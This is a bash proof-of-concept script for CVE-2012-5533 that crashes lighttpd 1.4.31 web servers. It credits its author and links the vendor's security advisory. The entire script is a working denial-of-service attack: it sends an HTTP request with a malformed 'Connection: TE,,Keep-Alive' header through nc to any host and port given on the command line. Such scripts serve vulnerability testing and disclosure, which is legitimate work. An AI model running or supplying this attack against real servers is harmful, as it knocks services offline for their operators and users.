#!/bin/bash # simple lighttpd 1.4.31 DOS POC # CVE-2012-5533 # http://www.lighttpd.net/2012/11/21/1-4-32/ # http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2012_01.txt # written by Milan Berger if [ $# -lt 2 ] then echo "usage :$0 " else echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n" | nc $1 $2 fi